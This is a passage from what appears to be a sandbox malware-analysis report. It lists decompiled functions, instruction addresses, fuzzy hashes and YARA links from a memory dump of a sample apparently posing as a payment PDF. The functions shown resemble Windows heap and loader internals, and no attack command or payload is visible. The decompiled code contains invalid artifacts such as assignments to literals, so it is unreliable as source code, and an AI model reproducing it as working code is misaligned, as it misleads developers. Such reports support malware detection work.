						E334824D0(_t30);
						_t57 =  *0x3356664c; // 0x314f9d8
						E334824D0(_t57 + 4);
						return _t69;
					}
					if(_t49 >  *((intOrPtr*)(_t74 + 0x18))) {
						goto L24;
					}
					goto L22;
				}
				 *_t48 = _t82;
				 *((intOrPtr*)(_t48 + 4)) = _t73;
				 *_t73 = _t48;
				 *((intOrPtr*)(_t82 + 4)) = _t48;
				 *((intOrPtr*)(_t86 + 0xc)) = _t89;
				if( *((intOrPtr*)(_t89 + 0x5c)) == 1) {
					if(( *(_t86 + 0x24) & 0xffffffee) != 0) {
						 *((intOrPtr*)(_t86 + 0x64)) = 1;
					}
				}
				_t79 = 0;
				_t9 = _t89 + 0x3c; // 0x3c
				_t71 = _t9;
				goto L3;
				do {
					L6:
					if( *_t80 != 0) {
						asm("bts ebx, eax");
					}
					_t67 = _t67 + 1;
					_t80 = _t80 + 4;
				} while (_t67 < 5);
				 *((intOrPtr*)(_t89 + 0x34)) =  *((intOrPtr*)(_t89 + 0x34)) + 1;
				if(( *(_t86 + 0x20) & 0x00000004) != 0) {
					 *((intOrPtr*)(_t89 + 0x38)) =  *((intOrPtr*)(_t89 + 0x38)) + 1;
				}
				_t49 =  *((intOrPtr*)(_t86 + 0x1c));
				if( *((intOrPtr*)(_t89 + 0x18)) < _t49) {
					_t74 =  *_t82;
					goto L20;
				} else {
					goto L11;
				}
				L3:
				if(( *(_t86 + 0x24) & 1 << _t79) != 0) {
					 *_t71 =  *_t71 + 1;
				}
				_t79 = _t79 + 1;
				_t71 = _t71 + 4;
				if(_t79 < 5) {
					goto L3;
				} else {
					_t13 = _t89 + 0x3c; // 0x3c
					_t80 = _t13;
					_t67 = 0;
					goto L6;
				}
			}

0x334707af
0x334707ba
0x334707be
0x334707c0
0x334707c2
0x334707c7
0x334707cb
0x334707d0
0x334707d0
0x334707d3
0x334707d6
0x334707db
0x334708c3
0x334708c5
0x334708c6
0x334708c8
0x334708c8
0x334708bf
0x334708bf
0x334708b6
0x334708b8
0x33470843
0x33470847
0x3347084a
0x3347084b
0x3347084c
0x3347084f
0x33470856
0x3347085a
0x33470860
0x33470867
0x33470867
0x33470871
0x334cea96
0x33470877
0x33470877
0x33470877
0x3347087f
0x334ceaa2
0x334ceabb
0x334ceabb
0x334ceaa2
0x33470885
0x33470889
0x3347088e
0x33470897
0x334708a4
0x334708a4
0x334708bd
0x00000000
0x00000000
0x00000000
0x334708bd
0x334707e1
0x334707e3
0x334707e6
0x334707e8
0x334707ee
0x334707f4
0x334cea7f
0x334cea85
0x334cea85
0x334cea7f
0x334707fa
0x334707fc
0x334707fc
0x334707fc
0x3347081d
0x3347081d
0x33470820
0x334708ac
0x334708ac
0x33470826
0x33470827
0x3347082a
0x3347082f
0x33470836
0x33470838
0x33470838
0x3347083b
0x33470841
0x334708b4
0x00000000
0x00000000
0x00000000
0x00000000
0x334707ff
0x33470807
0x334708a5
0x334708a5
0x3347080d
0x3347080e
0x33470814
0x00000000
0x33470816
0x33470818
0x33470818
0x3347081b
0x00000000
0x3347081b

Strings

F3, xrefs: 334707A9

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: F3
API String ID: 0-2374913665
Opcode ID: 4f7d9641ad61e2265e5440fa19c4a283ed5ece652028bb8c0b3b49db2225480a
Instruction ID: 6ed38d9059d8a34d00fb4c3fd48716d87ce05773b0c7c5d6019da749268586f8
Opcode Fuzzy Hash: 4f7d9641ad61e2265e5440fa19c4a283ed5ece652028bb8c0b3b49db2225480a
Instruction Fuzzy Hash: 1F41D3B16017019FE324CF68D880A52B7F9FF48304B558A6DD4668BB50EB35F846CB98

Uniqueness

Uniqueness Score: -1.00%

Function 334A360F Relevance: 1.4, Strings: 1, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E334A360F(void* __ebx, intOrPtr __edx, void* __edi, void* __esi, intOrPtr* _a4) {
				signed int _v8;
				intOrPtr _v60;
				intOrPtr* _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v84;
				intOrPtr _v88;
				char _v92;
				void* _v96;
				intOrPtr* _t41;
				intOrPtr* _t48;
				void* _t49;
				intOrPtr _t53;
				signed int _t55;
				void* _t58;
				intOrPtr* _t59;
				void* _t60;
				intOrPtr _t61;
				intOrPtr _t65;
				intOrPtr* _t66;
				intOrPtr* _t67;
				intOrPtr* _t68;
				intOrPtr _t69;
				void* _t72;
				intOrPtr* _t73;
				intOrPtr _t75;
				void* _t76;
				signed int _t80;

				_t69 = __edx;
				_t82 = (_t80 & 0xfffffff8) - 0x5c;
				_v8 =  *0x3356b370 ^ (_t80 & 0xfffffff8) - 0x0000005c;
				_t41 = _a4;
				_v96 = _t41;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				if(_t41 == 0) {
					L23:
					_t75 = 0xc000000d;
					goto L10;
				} else {
					_t75 = 0;
					 *_t41 = 0;
					if(__edx == 0) {
						goto L23;
					} else {
						_t73 = __edx + 4;
						_t59 =  *_t73;
						while(_t59 != _t73) {
							_t68 = _t59 - 8;
							if( *_t68 != 0x74736c46) {
								_v72 = 1;
								_v68 = 1;
								_v88 = 1;
								_push( &_v92);
								_v84 = _t75;
								_v76 = 4;
								_v64 = _t73;
								_v60 = _t68;
								_v92 = 0xc0150015;
								E334C8A60(_t68, _t69);
								_t61 = _t59 - 8;
							}
							if( *(_t61 + 4) == 0x20) {
								L22:
								_t59 =  *_t59;
								1 = "true";
								continue;
							} else {
								_t53 = _t75;
								_t69 = _t61;
								while(( *(_t69 + 0x20) & 0x00000004) == 0) {
									_t53 = _t53 + 1;
									_t69 = _t69 + 0x30;
									if(_t53 < 0x20) {
										continue;
									} else {
										goto L22;
									}
									goto L24;
								}
								_t55 =  *(_t61 + 4) + 1;
								 *(_t61 + 4) = _t55;
								 *(_t61 + 0x14) =  !_t55;
								_t12 = _t69 + 0x18; // 0x100000016
								_t61 = _t12;
								if(_t61 == 0) {
									goto L22;
								} else {
									L9:
									 *((intOrPtr*)(_t65 + 8)) = 8;
									 *_v96 = _t65;
									L10:
									_pop(_t72);
									_pop(_t76);
									_pop(_t58);
									return E334B4B50(_t75, _t58, _v8 ^ _t82, _t69, _t72, _t76);
								}
							}
							goto L24;
						}
						_t60 = L33485D90(_t61,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t75, 0x618);
						if(_t60 == 0) {
							_t75 = 0xc0000017;
							goto L10;
						} else {
							L18();
							 *((intOrPtr*)(_t60 + 4)) = 1;
							_t18 = _t60 + 0x18; // 0x18
							_t65 = _t18;
							 *((intOrPtr*)(_t60 + 0x14)) = 0xfffffffe;
							_t48 = _t60 + 8;
							_t69 =  *_t73;
							if( *((intOrPtr*)(_t69 + 4)) != _t73) {
								_push("true");
								_pop(_t66);
								asm("int 0x29");
								 *_t66 = 0x74736c46;
								 *((intOrPtr*)(_t66 + 0x10)) = 0;
								_t67 = _t66 + 0x1c;
								_t49 = 0x20;
								do {
									 *((intOrPtr*)(_t67 - 4)) = 0;
									 *_t67 = 0;
									_t67 = _t67 + 0x30;
									 *((intOrPtr*)(_t67 - 0x2c)) = 0xc;
									 *((intOrPtr*)(_t67 - 0x28)) = 0;
									_t49 = _t49 - 1;
								} while (_t49 != 0);
								return _t49;
							} else {
								 *_t48 = _t69;
								 *((intOrPtr*)(_t48 + 4)) = _t73;
								 *((intOrPtr*)(_t69 + 4)) = _t48;
								 *_t73 = _t48;
								goto L9;
							}
						}
					}
				}
				L24:
			}

0x334a360f
0x334a3617
0x334a3621
0x334a3625
0x334a3628
0x334a362b
0x334a362c
0x334a362d
0x334a3630
0x334e2969
0x334e2969
0x00000000
0x334a3636
0x334a3636
0x334a3638
0x334a363c
0x00000000
0x334a3642
0x334a3642
0x334a3647
0x334a364a
0x334a364e
0x334a3657
0x334e2925
0x334e2929
0x334e292d
0x334e2935
0x334e2936
0x334e293a
0x334e2942
0x334e2946
0x334e294a
0x334e2952
0x334e2957
0x334e2957
0x334a3661
0x334e295f
0x334e295f
0x334e2963
0x00000000
0x334a3667
0x334a3667
0x334a3669
0x334a366b
0x334a36ab
0x334a36ac
0x334a36b2
0x00000000
0x334a36b4
0x00000000
0x334a36b4
0x00000000
0x334a36b2
0x334a3674
0x334a3675
0x334a367a
0x334a367d
0x334a367d
0x334a3682
0x00000000
0x334a3688
0x334a3688
0x334a368c
0x334a3693
0x334a3695
0x334a369b
0x334a369c
0x334a369d
0x334a36a8
0x334a36a8
0x334a3682
0x00000000
0x334a3661
0x334a36cd
0x334a36d1
0x334a3701
0x00000000
0x334a36d3
0x334a36d5
0x334a36da
0x334a36e1
0x334a36e1
0x334a36e4
0x334a36eb
0x334a36ee
0x334a36f3
0x334a3708
0x334a370a
0x334a370b
0x334a370f
0x334a3717
0x334a371a
0x334a371d
0x334a371e
0x334a371e
0x334a3721
0x334a3723
0x334a3726
0x334a372d
0x334a3730
0x334a3730
0x334a3735
0x334a36f5
0x334a36f5
0x334a36f7
0x334a36fa
0x334a36fd
0x00000000
0x334a36fd
0x334a36f3
0x334a36d1
0x334a363c
0x00000000

Strings

Flst, xrefs: 334A3651

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: Flst
API String ID: 0-2374792617
Opcode ID: fe12c8f5cc439bc52af10652e2dfae68060d7e70d4f056bbeee3b9cf383d20db
Instruction ID: 35f7050d2a6445f31694e08e4859169de197ebb74dd1307ad604700c66dfd792
Opcode Fuzzy Hash: fe12c8f5cc439bc52af10652e2dfae68060d7e70d4f056bbeee3b9cf383d20db
Instruction Fuzzy Hash: 9E41CCB5604301DFD304CF18C080A06FBE4EB99714F54856EE898CB351EB71C942CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 334696E0 Relevance: 1.3, Strings: 1, Instructions: 96
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E334696E0(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				char _v29;
				char _v30;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t33;
				char* _t43;
				intOrPtr* _t46;
				void* _t48;
				intOrPtr _t56;
				void* _t65;
				char _t66;
				intOrPtr* _t68;
				intOrPtr* _t69;

				_t65 = __edx;
				L33482330(_t33, 0x33566814);
				_t56 = _a4;
				_t59 = _t56;
				_t68 = E33469A6E(_t56);
				if(_t68 != 0) {
					 *((intOrPtr*)(_t68 + 0x10)) =  *((intOrPtr*)(_t68 + 0x10)) + 1;
					_t66 = 0;
					goto L6;
				} else {
					_t68 = L33485D90(_t59,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t35, 0x14);
					if(_t68 == 0) {
						_t66 = 0xc000009a;
						goto L6;
					} else {
						asm("stosd");
						asm("stosd");
						asm("stosd");
						asm("stosd");
						asm("stosd");
						_t43 =  &_v20;
						_push(_t43);
						_push(0x33469870);
						_push(0);
						_v20 = _t56;
						_v16 = 0xc0000225;
						L9();
						_t66 = _t43;
						if(_t66 < 0) {
							L6:
							E334824D0(0x33566814);
							if(_t66 < 0) {
								if(_t68 != 0) {
									E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t68);
								}
							}
							return _t66;
						} else {
							_t66 = _v16;
							if(_t66 < 0) {
								goto L6;
							} else {
								 *((intOrPtr*)(_t68 + 8)) = _v12;
								 *((intOrPtr*)(_t68 + 0xc)) = _v8;
								 *((intOrPtr*)(_t68 + 0x10)) = 1;
								_t46 =  *0x335633e8; // 0x774933e4
								if( *_t46 != 0x335633e4) {
									_push("true");
									asm("int 0x29");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									_push(0xc);
									_push(0x3354b9b0);
									E334C7BE4(_t56, _t66, _t68);
									if(_a4 != 0 || _a8 == 0) {
										_t48 = 0xc000000d;
									} else {
										_v29 = 0;
										_t64 = 0x1000;
										if(( *( *[fs:0x18] + 0xfca) & 0x00001000) == 0) {
											_t57 = 0;
											_v30 = 0;
											_t64 = 0;
											L334919DF(0);
										} else {
											_t57 = 1;
											_v30 = 1;
										}
										E33492755(_t65);
										_v8 = _v8 & 0x00000000;
										_t69 =  *0x33565d8c; // 0x3142d38
										while(_t69 != 0x33565d8c) {
											_t64 = _a8;
											 *0x335691e0(_t69, _a12,  &_v29);
											_a8();
											if(_v29 == 0) {
												_t69 =  *_t69;
												continue;
											}
											break;
										}
										_v8 = 0xfffffffe;
										L33469850(_t57, _t64);
										_t48 = 0;
									}
									 *[fs:0x0] = _v20;
									return _t48;
								} else {
									 *_t68 = 0x335633e4;
									 *((intOrPtr*)(_t68 + 4)) = _t46;
									 *_t46 = _t68;
									 *0x335633e8 = _t68;
									goto L6;
								}
							}
						}
					}
				}
			}

0x334696e0
0x334696f0
0x334696f5
0x334696f8
0x334696ff
0x33469703
0x334cba19
0x334cba1c
0x00000000
0x33469709
0x3346971a
0x3346971e
0x334cba23
0x00000000
0x33469724
0x33469728
0x33469729
0x3346972a
0x3346972b
0x3346972c
0x3346972d
0x33469730
0x33469731
0x33469736
0x33469738
0x3346973b
0x33469742
0x33469747
0x3346974b
0x33469782
0x33469787
0x3346978e
0x334cba2f
0x334cba41
0x334cba41
0x334cba2f
0x3346979a
0x3346974d
0x3346974d
0x33469752
0x00000000
0x33469754
0x3346975c
0x33469762
0x33469765
0x3346976c
0x33469773
0x3346979d
0x334697a0
0x334697a2
0x334697a3
0x334697a4
0x334697a5
0x334697a6
0x334697a7
0x334697a8
0x334697a9
0x334697aa
0x334697ab
0x334697ac
0x334697ad
0x334697ae
0x334697af
0x334697b0
0x334697b2
0x334697b7
0x334697c0
0x334cba53
0x334697d0
0x334697d0
0x334697da
0x334697e6
0x33469842
0x33469844
0x33469847
0x33469849
0x334697e8
0x334697e8
0x334697ea
0x334697ea
0x334697ed
0x334697f2
0x334697f6
0x334697fc
0x3346980c
0x3346980f
0x33469815
0x3346981c
0x3346981e
0x00000000
0x3346981e
0x00000000
0x3346981c
0x33469822
0x33469829
0x3346982e
0x3346982e
0x33469833
0x3346983f
0x33469775
0x33469775
0x33469777
0x3346977a
0x3346977c
0x00000000
0x3346977c
0x33469773
0x33469752
0x3346974b
0x3346971e

Strings

3Iw3Iw, xrefs: 33469757

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: DebugPrintTimes
String ID: 3Iw3Iw
API String ID: 3446177414-2909073537
Opcode ID: e26ba79f65c4ef11d7112f752db7888d89974aee4823eb59619bd31b1e51d78f
Instruction ID: 556a17a164ef555565316ecbe107c6f96e748aed0cd3bfbde8d6075cc7d68823
Opcode Fuzzy Hash: e26ba79f65c4ef11d7112f752db7888d89974aee4823eb59619bd31b1e51d78f
Instruction Fuzzy Hash: AB21F27AA00710EFC3218F68C840B1ABBF4EB84B59F15042DE5649F341DBB1D902CB98

Uniqueness

Uniqueness Score: -1.00%

Function 334EC6F2 Relevance: 1.3, Strings: 1, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E334EC6F2(intOrPtr __ecx, intOrPtr* __edx, intOrPtr* _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				char* _v20;
				short _v22;
				char _v24;
				intOrPtr _t38;
				short _t40;
				short _t41;
				void* _t44;
				intOrPtr _t47;
				void* _t48;

				_v16 = __edx;
				_t40 = 0x14;
				_v24 = _t40;
				_t41 = 0x16;
				_v22 = _t41;
				_t38 = 0;
				_v12 = __ecx;
				_push( &_v8);
				_push(0);
				_push(0);
				_push("true");
				_t43 =  &_v24;
				_v20 = L"BinaryName";
				_push( &_v24);
				_push(__ecx);
				_t47 = 0;
				_t48 = E334B2B00();
				if(_t48 >= 0) {
					_t48 = 0xc000090b;
				}
				if(_t48 != 0xc0000023) {
					_t44 = 0;
					L13:
					if(_t48 < 0) {
						L16:
						if(_t47 != 0) {
							E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t44, _t47);
						}
						L18:
						return _t48;
					}
					 *_v16 = _t38;
					 *_a4 = _t47;
					goto L18;
				}
				_t47 = L33485D90(_t43,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", _v8);
				if(_t47 != 0) {
					_push( &_v8);
					_push(_v8);
					_push(_t47);
					_push("true");
					_push( &_v24);
					_push(_v12);
					_t48 = E334B2B00();
					if(_t48 < 0) {
						_t44 = 0;
						goto L16;
					}
					if( *((intOrPtr*)(_t47 + 4)) != 1 ||  *(_t47 + 8) < 4) {
						_t48 = 0xc000090b;
					}
					_t44 = 0;
					if(_t48 < 0) {
						goto L16;
					} else {
						_t17 = _t47 + 0xc; // 0xc
						_t38 = _t17;
						if( *((intOrPtr*)(_t38 + ( *(_t47 + 8) >> 1) * 2 - 2)) != 0) {
							_t48 = 0xc000090b;
						}
						goto L13;
					}
				}
				_t48 = _t48 + 0xfffffff4;
				goto L18;
			}

0x334ec701
0x334ec704
0x334ec707
0x334ec70d
0x334ec70e
0x334ec712
0x334ec717
0x334ec71a
0x334ec71b
0x334ec71c
0x334ec71d
0x334ec71f
0x334ec722
0x334ec729
0x334ec72a
0x334ec72b
0x334ec732
0x334ec736
0x334ec738
0x334ec738
0x334ec743
0x334ec7ac
0x334ec7ae
0x334ec7b0
0x334ec7c0
0x334ec7c2
0x334ec7cf
0x334ec7cf
0x334ec7d5
0x334ec7da
0x334ec7da
0x334ec7b5
0x334ec7ba
0x00000000
0x334ec7ba
0x334ec758
0x334ec75c
0x334ec766
0x334ec767
0x334ec76d
0x334ec76e
0x334ec770
0x334ec771
0x334ec779
0x334ec77d
0x334ec7be
0x00000000
0x334ec7be
0x334ec783
0x334ec78b
0x334ec78b
0x334ec790
0x334ec794
0x00000000
0x334ec796
0x334ec799
0x334ec799
0x334ec7a3
0x334ec7a5
0x334ec7a5
0x00000000
0x334ec7a3
0x334ec794
0x334ec75e
0x00000000

Strings

BinaryName, xrefs: 334EC722

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: BinaryName
API String ID: 0-215506332
Opcode ID: 66316733d9b0f003aae6ed70425c904f04c945326af678faebd86b73fc8761ae
Instruction ID: 15e6831641808d03a6a9804f96be9a8917b6e5278b6ddd8020078e4a39a6fb0c
Opcode Fuzzy Hash: 66316733d9b0f003aae6ed70425c904f04c945326af678faebd86b73fc8761ae
Instruction Fuzzy Hash: A63127BAD00616AFEB15CB58C845D6FBBB4EF80760F018169E810A7350D730DE00D7E4

Uniqueness

Uniqueness Score: -1.00%

Function 334C717A Relevance: .7, Instructions: 705
COMMONCrypto

Download Yara Rule

C-Code - Quality: 56%

			E334C717A(signed int __ecx, signed int __edx, signed int _a4, signed short _a8, signed short _a12) {
				unsigned int _v5;
				signed int _v6;
				signed int _v12;
				signed short _v16;
				signed int _v20;
				signed int _v24;
				signed short _v28;
				signed short _v32;
				signed int _v36;
				signed int* _v40;
				signed short _v44;
				signed int _v48;
				signed short _v52;
				signed int _v56;
				char _v60;
				unsigned int _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char _t250;
				signed short _t252;
				signed short _t253;
				signed short _t254;
				unsigned int _t267;
				signed short _t270;
				signed int _t271;
				signed int* _t274;
				signed int _t276;
				signed int _t281;
				signed char _t282;
				signed short _t283;
				signed short _t289;
				signed char _t290;
				signed int _t295;
				signed short _t298;
				signed short* _t299;
				signed int _t305;
				signed short _t307;
				signed int _t310;
				signed short _t315;
				void* _t318;
				signed int _t322;
				signed short _t323;
				signed short _t328;
				signed char* _t329;
				signed char _t330;
				signed int _t335;
				signed int _t344;
				signed short _t348;
				signed short _t351;
				signed char _t353;
				signed char _t355;
				signed short _t356;
				signed short _t358;
				signed short _t359;
				signed short _t361;
				unsigned int _t362;
				signed int _t363;
				signed int _t370;
				signed int _t372;
				signed short _t373;
				signed short _t374;
				unsigned int _t378;
				void* _t387;
				unsigned int _t392;
				void* _t393;
				signed short _t395;
				signed int _t396;
				signed short _t397;
				signed int* _t406;
				intOrPtr _t409;
				signed short _t425;
				unsigned int _t430;
				intOrPtr* _t431;
				unsigned int _t437;
				void* _t442;
				void* _t443;
				signed short* _t444;
				unsigned int _t445;
				signed short _t449;
				unsigned int _t456;
				void* _t463;
				signed int _t476;
				void* _t478;
				signed char _t480;
				signed short _t481;
				void* _t483;
				signed int _t486;
				signed int _t491;
				signed int* _t492;
				signed short* _t494;
				void* _t497;
				signed short _t498;
				signed short _t499;
				intOrPtr _t504;
				signed int _t509;
				unsigned int _t511;
				signed int _t519;
				signed short _t521;
				signed int _t523;
				signed short _t527;
				signed int _t528;
				signed int _t531;
				signed int _t535;
				signed int _t536;
				signed int _t541;
				signed short _t542;
				signed short* _t545;
				signed char* _t546;
				unsigned int _t547;
				signed short _t550;
				void* _t552;
				signed int _t553;
				signed short _t555;

				_t535 = __ecx;
				_t378 = 0;
				_t249 = __edx;
				_v12 = __ecx;
				_v20 = __edx;
				_t518 = 0;
				if( *((intOrPtr*)(__ecx + 8)) != 0xddeeddee) {
					__eflags =  *(__ecx + 0x44) & 0x01000000;
					if(( *(__ecx + 0x44) & 0x01000000) != 0) {
						L148:
						_t250 = L33483C60(_t535, _t518, _t249);
						_t519 = _t250 & 0x000000ff;
						__eflags = _t250;
						if(_t250 == 0) {
							goto L7;
						}
						L149:
						_t252 = _a12;
						__eflags = _t252;
						if(_t252 != 0) {
							__eflags = 0;
							 *_t252 = 0;
						}
						_t253 = _a8;
						__eflags = _t253;
						if(_t253 != 0) {
							 *_t253 = _t378;
						}
						_t254 = L33483C20(_t535);
						__eflags = _t254;
						if(_t254 != 0) {
							__eflags = _a4 & 0x10000000;
							if((_a4 & 0x10000000) == 0) {
								L3352E8B1(_t535, _v20);
							}
						}
						goto L7;
					}
					__eflags =  *(__ecx + 0x48) & 0x00000001;
					if(__eflags == 0) {
						__eflags = __edx & 0x00000007;
						if((__edx & 0x00000007) != 0) {
							_push(0);
							_push(0);
							_push(0);
							_push(__edx);
							_push("true");
							_pop(_t387);
							L33535FED(_t387, __ecx);
						} else {
							_t518 = __edx - 8;
							__eflags =  *(_t518 + 7) - 5;
							if( *(_t518 + 7) == 5) {
								_t518 = _t518 - (( *(_t518 + 6) & 0x000000ff) << 3);
								__eflags = _t518;
							}
							__eflags =  *(_t518 + 7) & 0x0000003f;
							if(( *(_t518 + 7) & 0x0000003f) == 0) {
								_push(_t378);
								_push(_t378);
								_push(_t378);
								_push(_t518);
								_push("true");
								_pop(_t463);
								L33535FED(_t463, _t535);
								_t518 = _t378;
							}
						}
					} else {
						_t518 = E3346A4D2(0, __ecx, __edx, 0, __ecx, __eflags);
					}
					__eflags = _t518;
					if(_t518 != 0) {
						_t249 = _v20;
						__eflags =  *((char*)(_t249 - 1)) - 5;
						if( *((char*)(_t249 - 1)) != 5) {
							L59:
							__eflags =  *(_t518 + 7) - _t378;
							if( *(_t518 + 7) >= _t378) {
								goto L148;
							}
							_t392 = _t518 >> 0x00000003 ^  *_t518 ^  *0x33566964 ^ _t535;
							__eflags = _t392;
							if(_t392 != 0) {
								L146:
								_push(_t378);
								_push(_t378);
								_push(_t378);
								_push(_t518);
								_push("true");
								_pop(_t393);
								L33535FED(_t393, _t535);
								L65:
								_t519 = 1;
								goto L149;
							}
							_t395 =  *(_t518 - (_t392 >> 0xd));
							_v16 = _t395;
							__eflags = _t395;
							if(_t395 == 0) {
								goto L146;
							}
							_t536 =  *(_t395 + 4);
							_t476 =  *(_t518 + 4) >> 0x00000008 & 0x0000ffff;
							_v24 = _t536;
							_v32 = _t378;
							_v36 = _t476;
							_t396 =  *( *((intOrPtr*)( *_t395)) + 0xc);
							_v44 = _t396;
							_t267 =  *(_t536 + 0x10) ^ _t396 ^ _t536 ^  *0x33566964;
							__eflags = (_t267 & 0x0000ffff) + (_t267 >> 0x10) * _t476 + _v24 - _t518;
							if((_t267 & 0x0000ffff) + (_t267 >> 0x10) * _t476 + _v24 == _t518) {
								_t270 = L33483C40();
								__eflags = _t270;
								if(_t270 == 0) {
									_t271 = 0x7ffe0380;
								} else {
									_t271 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
								}
								_t478 = 1;
								__eflags =  *_t271 - _t378;
								if( *_t271 != _t378) {
									_t271 =  *[fs:0x30];
									__eflags =  *(_t271 + 0x240) & 1;
									if(( *(_t271 + 0x240) & 1) != 0) {
										_t271 = E3352F247( *((intOrPtr*)(_v44 + 0xc)), _t518 + 8, "true");
										_t478 = 1;
										__eflags = 1;
									}
								}
								__eflags = _t478 -  *0x7ffe036a;
								_t397 = _t378;
								_v44 = _t397;
								asm("sbb eax, eax");
								_v48 = _t271 & 0x00000064;
								_t274 = _v16 + 0x10;
								_v40 = _t274;
								while(1) {
									_t541 =  *_t274;
									_t276 = _t541 >> 0x10;
									_v28 = _t541;
									__eflags = _t276 & 0x00008000;
									if((_t276 & 0x00008000) != 0) {
										goto L77;
									}
									asm("lock cmpxchg [esi], ecx");
									_t542 = _v28;
									__eflags = _t541 - _t542;
									if(_t541 == _t542) {
										L79:
										 *(_t518 + 7) = 0x80;
										__eflags = _t542 - 0xffffffff;
										if(_t542 != 0xffffffff) {
											_t521 = _v16;
											asm("btr [eax], ecx");
											__eflags =  *((intOrPtr*)(_t521 + 0xc)) - _t378;
											if( *((intOrPtr*)(_t521 + 0xc)) == _t378) {
												L88:
												_t281 = (_t542 & 0x0000ffff) + _v32 + 0x00000001 | _v36 << 0x00000010;
												_t545 =  *_t521;
												__eflags = _t281 -  *(_t521 + 0x18);
												if(_t281 !=  *(_t521 + 0x18)) {
													L127:
													 *(_t521 + 0x10) = _t281;
													_t282 =  *(_t521 + 0x1c);
													__eflags = _t282 & 0x00000002;
													if((_t282 & 0x00000002) != 0) {
														L64:
														_t535 = _v12;
														goto L65;
													}
													_t283 = E33483AF6(_t545, _t521);
													__eflags = _t283;
													if(_t283 == 0) {
														goto L64;
													}
													_t546 = _t521 + 0x1c;
													while(1) {
														_t480 =  *_t546;
														__eflags = _t480;
														if(_t480 == 0) {
															goto L64;
														}
														__eflags = _t480 & 0x00000002;
														if((_t480 & 0x00000002) != 0) {
															goto L64;
														}
														asm("lock cmpxchg [esi], ecx");
														__eflags = _t480 - _t480;
														if(_t480 != _t480) {
															continue;
														}
														_t406 =  *_t521;
														_t547 = _t378;
														_v40 = _t406;
														do {
															_t289 = _t406 + ((( *(_t406 + 0x5e) & 0x0000ffff) + _t547 & 0x0000000f) + 2) * 4;
															_t481 =  *_t289;
															_v44 = _t289;
															__eflags = _t481;
															if(_t481 != 0) {
																_t290 =  *(_t481 + 0x1c);
																__eflags = _t290 & 0x00000001;
																if((_t290 & 0x00000001) != 0) {
																	goto L140;
																}
																asm("lock cmpxchg [edi], ecx");
																_t521 = _v16;
																__eflags = _t481 - _t481;
																if(_t481 == _t481) {
																	_t523 = 0xfffffffd;
																	_t295 =  *(_t481 + 0x1c);
																	do {
																		__eflags = _t295 & _t523;
																		asm("lock cmpxchg [esi], ecx");
																	} while ((_t295 & _t523) != 0);
																	__eflags = _t295 - 2;
																	if(_t295 != 2) {
																		goto L64;
																	}
																	_t409 =  *( *_t481);
																	 *_t481 = _t378;
																	_t483 = _t481 + 0x20;
																	L81:
																	E334820E0(_t409, _t483);
																	goto L64;
																}
																L139:
																_t406 = _v40;
																goto L140;
															}
															asm("lock cmpxchg [edx], ecx");
															__eflags = 0;
															if(0 == 0) {
																goto L64;
															}
															goto L139;
															L140:
															_t547 = _t547 + 1;
															__eflags = _t547 - 0x10;
														} while (_t547 < 0x10);
														_t235 =  *_t521 + 0x5c; // 0x56ff8bc3
														_t483 = _t521 + 0x20;
														_t409 =  *((intOrPtr*)( *((intOrPtr*)( *( *_t521) + 0xc)) + 0x3c0 + ( *_t235 & 0x0000ffff) * 4)) + 0x48;
														goto L81;
													}
													goto L64;
												}
												_v36 =  *((intOrPtr*)( *_t545 + 0x10));
